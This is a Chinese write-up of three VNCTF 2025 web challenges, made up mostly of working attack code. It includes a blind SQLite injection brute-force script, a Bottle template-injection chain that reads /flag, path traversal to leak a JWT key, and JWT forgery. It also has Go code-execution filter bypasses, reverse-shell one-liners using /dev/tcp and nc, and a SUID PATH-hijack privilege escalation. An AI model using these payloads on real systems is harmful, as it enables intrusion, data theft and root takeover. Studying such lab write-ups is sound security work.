2025vnctf复现
奶龙回家
首先测SQL注入闭合的方式。1"
发现回显“账号密码错误!!”,1'
发现回显“好像发生了某种错误??”。到这里可以确诊是sql注入。
由于测试sleep大小写都被fuzz,猜测是sqlite注入,直接时间盲注,爆破账号密码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
import requests
import time
url = 'http://node.vnteam.cn:44526/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))
|
爆破出用户名是nailong,密码是woaipangmao114514
学生姓名管理系统
题目提示单文件框架,python 本体的单文件框架是bottle 框架
翻阅bottle的开发手册,可以看到他渲染templete的模板引擎叫SimpleTemplate
有内置模板函数

1
2
|
{{setdefault('a','b')}}
{{a}}
|

对于单行有23的长度限制,这里py3.8之后推出的海象运算符,可以打继承链绕过长度限制
1
2
3
4
5
6
7
|
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
|
然后环境变量里面查找flag就行了
或者用catch_warnings方法,命令执行
1
2
3
4
5
6
7
8
9
10
11
12
|
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[228]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{z:='__builtins__'}}
{{h:=g[z]}}
{{i:=h['op''en']}}
{{x:=i("/flag")}}
{{y:=x.read()}}
|
Gin

这里普通用户可以上传和下载文件,admin才能eval命令执行
用了jwt鉴权

但这里的随机数是伪随机
有个download路由可以实现目录穿越下载config目录下的key

1
|
download?filename=../config/key.go
|
1
2
3
4
5
6
7
8
|
package config
func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}
|
然后就可以获得key了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package main
import (
"fmt"
"math/rand"
)
func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
fmt.Println(key)
return key
}
func main() {
GenerateKey()
}
|

拿到key之后就是伪造jwt了

现在就可以在/admin路由执行go代码了。但是有过滤

这里有很多绕过方式,因为只匹配第一个import,可以把os/exec放到第二个import里面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "ls")
out, err := cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err)
}
|
不能有os/exec,可以用syscall来代替。
1
2
3
4
5
6
7
8
9
|
package main
import (
"syscall"
)
func main() {
syscall.Exec("/bin/sh", []string{"sh", "-c", "whoami"}, []string{})
}
|
或者用goeval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package main
import (
"fmt"
"github.com/PaulXu-cn/goeval"
)
func main() {
cmd, _ := goeval.Eval("", "cmd:=exec.Command(\"bash\",\"-c\",\"exec bash -i &>/dev/tcp/ip/7777 <&1\");out,_:=cmd.CombinedOutput();fmt.Println(string(out))",
"os/exec", "fmt")
fmt.Println(string(cmd))
}
|
1
2
|
bash -c 'bash -i >& /dev/tcp/XXXX/2333 <&1'
nc -lnvp 2333
|
由于没有vps,直接在bp命令执行了
ls /查看到flag,但是是假的,suid提权
1
|
find / -user root -perm -4000 -print 2>/dev/null
|

1
2
3
4
5
6
7
8
9
10
|
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/sudo
/.../Cat
|
这个cat非常可疑
这里是用的cat /flag
而不是/bin/cat /flag
,可以环境变量胁持,接着就是环境变量提权
1
2
3
4
5
|
echo '/bin/bash' > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH
/.../Cat
最后tac /root/flag
|
这里记得不要用 cat,我们修改了环境变量 cat 已经是/bin/bash 了。
而没弹shell是用不了bash来改环境变量的
1
|
echo 'tac /root/flag' > /tmp/cat;chmod 777 /tmp/cat;export PATH=/tmp:$PATH&&/.../Cat
|
